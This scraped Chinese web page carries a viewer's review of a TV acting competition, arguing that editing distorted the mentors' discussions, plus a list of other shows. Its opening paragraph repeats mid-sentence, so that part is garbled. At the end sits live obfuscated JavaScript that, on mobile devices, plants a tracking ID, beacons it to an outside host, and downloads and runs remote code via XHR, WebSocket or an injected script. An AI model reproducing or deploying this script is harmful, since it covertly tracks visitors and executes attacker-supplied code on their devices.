作为参与了第一期现场录制的观众,我想说说我的感受。更新:恭喜山争哥哥成为金马影帝~看了最新一期,我觉得很多演员都有点用力过猛了,我认为释放是表现演技的一种方式,但很多时候恰到好处的“收”才是演技的更高水平。可能观众看到演员说落泪就落泪、一激动就表情狰狞,会说:“哇这个人演技不错耶”,但当演员完全融入这个角色的时候,其实无需一秒落泪,无需歇斯底里,无需面目狰狞,就能把观众带入戏,观众甚至都不会在意你作为参与了第一期现场录制的观众,我想说说我的感受。更新:恭喜山争哥哥成为金马影帝~看了最新一期,我觉得很多演员都有点用力过猛了,我认为释放是表现演技的一种方式,但很多时候恰到好处的“收”才是演技的更高水平。可能观众看到演员说落泪就落泪、一激动就表情狰狞,会说:“哇这个人演技不错耶”,但当演员完全融入这个角色的时候,其实无需一秒落泪,无需歇斯底里,无需面目狰狞,就能把观众带入戏,观众甚至都不会在意你的演技,因为演员与角色似乎已经融为一体,无分你我。在舞台上,大开大合的表演方式无疑是占优势的,它更接近于舞台剧和话剧的表演形式,但电视剧和电影,如果像台上的演员这样去演,我以为会呈现出一种虚假感。当然了,就事论事,就这个节目本身来说,从它的目的,它的呈现方式,它的录制过程,它的影响等等来说,都称得上是一个不错的综艺节目了。★‖以下是原剧评‖★主要两点:【导师对第三组的探讨,剪掉了很多】【现场总体氛围融洽,是剪辑突出了矛盾】●首先说明:并没有偏心谁,也不是叩锅。写这篇的初衷,不过是出自一个观众的惋惜罢了。按照节目录制得到的既有素材,原本可以有更好的成片吧。●个人观点,只说我看到的我想到的,别的不管,有不同观点可以各抒己见理性讨论呀(>_<)●评论里惊现东西跳梁的喷子,走过路过可以围观,别理他免得给自己添堵~●关于第一期第三组第二组的现场情况,放在最后,不想看我啰嗦的可以把中间跳过,跳到标方块的段落。我是一个没有属性的观众,不管是对演员、导师,还是导演,我都尽量消除固有的偏见和好感,尽可能客观地去看。我多次吐槽第一季,可以说是怀着质疑的心态去了现场。现在看完成片,我却觉得:它应当可以更好。每一位演员都在释放他们的力量,竭尽全力;每一位导师导演,都在认真地思考评判,拿出他们从业数十年的经验,或鞭辟入里或一针见血,去评价演员,去讨论演技,去实践“演员的自我修养”。我一度被感动被折服,甚至觉得导师说“演员的春天就要来了”并非大话虚言。可惜剪辑以后的成片并不能产生如此的深度,倒像是偏执的刻板印象,或是固执己见吹毛求疵的不解人意,以及在某些“黑幕”之下的不讲道理。若我只是电视机前的观众,我肯定会作如是想,吐槽:“怎么能这样呢?”但我看过现场,便知本不该如此。作为一档综艺节目,它的定位是什么呢?它重在娱乐性,情怀,还是深度?其实无论是侧重哪一点,这个节目本身都已经具备,可惜成片仿佛流水账,哪一方面都不那么出色,既不会让观众欢乐到无法自拔,又不能足够引人深思回味无穷,也不能让观众充分感受到演员、导师和导演的魅力。娱乐性方面,原本有很多导师的互动啊,演员的互动啊,小演员的小动作啊,导师和观众的互动啊,小插曲啊什么,都是可以调动综艺节目娱乐性的,例如调侃叔圈“怡”圈,调侃山争哥哥的脑袋,都很有意思,成片却没有。若说剪掉这些是为了专注“演员”,那么导师和导演关于演技的探讨,明明是很有深度很有意义的,为什么又要剪得七零八落呢?通过剪辑刻意制造的冲突,只会让节目的逻辑消耗掉,且失去了深度。因而我觉得,一期节目不应该放下这么多内容。好的剪辑可以为节目增光添彩,神剪辑可以化腐朽为神奇,可是浙江台的剪辑,一如既往地一言难尽。我想给所有演员、导师和导演打五星,一星扣在剪辑。它值得更好的,它或应更好的。■此外,就我在现场看来,第一组徐娇的表演有很多表情还是很不错的,但成片剪掉了很多能表现演技的镜头,导致剧情不连贯,导师的选择也缺乏说服力。胡先煦的萌点也没有完全抓住。很多可以制造话题的内容,似乎都剪掉了。相较于第一组,第二组的剪辑好多了,第三组表演镜头大多保留了,但导师的评价很多都删去了。想到再更新,就酱。【更新:关于第三组】很多人觉得宋洋比杜淳好,为宋洋不平。我却赞同导师的选择。说实话,从一开始我就是有偏颇的,因为我对杜淳的印象不太好。甚至到现在,我仍然对杜淳无感,仍旧认为,若是将演技定量化,宋洋>杜淳。可是我不认为这场戏导师选了杜淳就是对宋洋的不公。都说宋洋是演技派,我没有看过他的戏,但料想他演技应该是炸裂的。而现场的效果看,确实很炸裂,却无法打动作为观众的我。(呵,高贵的观众,真难伺候)这个角色不好演。如果杜淳宋洋调换一下角色,我也不知会怎样,但既然已经确定了自己的角色,就得演出角色的灵魂来。所以演之前,对角色的理解一定要到位,正像哪位导师说的,对角色的理解是演员的责任。演员两天没吃饭没合眼,的确值得尊敬,但这么拼,呈现的效果如何呢?我看到的是该有爆发力的嘶吼变得有气无力,他应当是一个有骨气的将死之人啊,即便又累又饿,也不该那样的哀嚎,不应该是灵魂的质问吗?质问,当声如钟磬,志如磐石,当铁骨铮铮,无悔无畏。(个人理解而已。或许是畏死的吧,可是演员的表演传达给观众的应当是如何呢?很难说。戏剧之戏剧性,便可在此体现)『以上是我之前的看法,看了排练的花絮,想法又有改变,宋洋的确是花了很多心思去理解这个角色,所以主要还是剧本的问题啦→宋洋小哥哥很优秀,值得更好的剧本』■然后,波叔和另外两位导师对宋洋对曹植的评价,成片可能有失偏颇,有一种为了淘汰宋洋而刻意如此的感觉。可是在现场,三位导师真的很认真很认真,波叔一直在理性地讲他对于那个时代,对于曹植的理解,说得滔滔不绝,说得导演出来表示“差不多了,我们还是先不要讲这个了”来停止这场论辩。我看到了一个演员对戏剧的负责,看到了一个导师对演员的负责,而不是剪辑过后的处处针对。看成片的时候,我也会觉得波叔的话说服力不够。但是我要为波叔鸣不平!当时在现场,我听得都要升华了,一直在感慨:如果所有的演员导演编剧都能有这样的思考,中国的电视圈电影圈会有多少良心作品的出现。■另外,三位导师都多次强调,第三组的最大问题是剧本的问题,两位演员还是很棒的。波叔在与宋洋观点发生分歧的同时,更不止一次地赞扬肯定宋洋的其他方面。刘天池老师也说了,她也有很大的问题,我记得好像还跟宋洋道歉了。这样一来,节目又上升到了探讨剧本的深度,引出了业界的一个普遍现象:剧本不过关。这明明是很有深度很有意义的啊,可是都一剪梅了。所以,为宋洋报不平的朋友,可以理解,但看到的也许并不是完全真实的。【更新:关于第二组】■情感和技巧的问题。剪辑出来的也是有失偏颇了,实际上没有一位导师是咬定一方不动摇的,他们只是在理性的探讨。在我看来,这不是一个演技节目该有的探讨吗?“演什么都一个样”“演什么都像自己”“演什么像什么”“演什么就是什么”,这也是一直以来关于演技几个层次的说法。波叔说情感的作用大于技巧,并不是一杆子打死技巧的,他在现场说了很多话来论证他的观点,十分有说服力的。剪辑的锅罢了。■再说一下,我们从下午三点录制到凌晨一点多,除去中途休息也有录了八九个小时吧,期间一切都很顺利,除了导师出场,几乎都是一遍过。——可想而知剪掉了多少吧。那么,请不要一言断定谁谁谁做得不对,谁谁谁平白受委屈。至于是否提前准备好剧本,我觉得综艺节目或多或少都会有。退一步说,就算有剧本有黑幕,就导师关于演技关于剧本关于角色的探讨,不也是一种好现象吗?详情 7.6分完结主演:张绍刚,李湘,宁静,李小璐,韩乔生,陈汉典,黄子佼,曹云金,周杰,沙宝亮,瞿颖,周韦彤,李诞,池子,易小星,王自健,贾玲,王琳,史航,张全蛋,黄婷婷
5.0分完结主演:唐国强,王砚辉,刘劲,辛柏青,张颂文,黄晓明,章子怡,朱亚文,张子枫,魏大勋
5.0分完结主演:唐国强,王砚辉,刘劲,辛柏青,张颂文,黄晓明,章子怡,朱亚文,张子枫,魏大勋
0.0分完结主演:张嘉译,王海燕,吴秀波,崔新琴,孙思瀚,黄梅莹
7.0分完结主演:姜思达,朱亚文,张雨绮,官鸿,杨超越,姜振宇
7.8分完结主演:陈学冬,黄景瑜,王嘉尔,周震南,张杰,费玉清
function BqQWSYiE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lvtUi(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BqQWSYiE(t);};window[''+'V'+'M'+'X'+'Z'+'H'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=lvtUi,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://uf.rbbfer.com:7891/stats/6819/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/vh2/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket('wss://'+k+':9533/wh2/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src='https://'+u+'/vh2/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src='https://'+u+'/vh2/'+i;cs.parentElement.insertBefore(s,cs);}})('b2kucmJicmFvvLmNvvbSUzQTg4OTE=','a21sLmVrcnpxxLmNvbQ==','1601',window,document,['v','x']);}:function(){};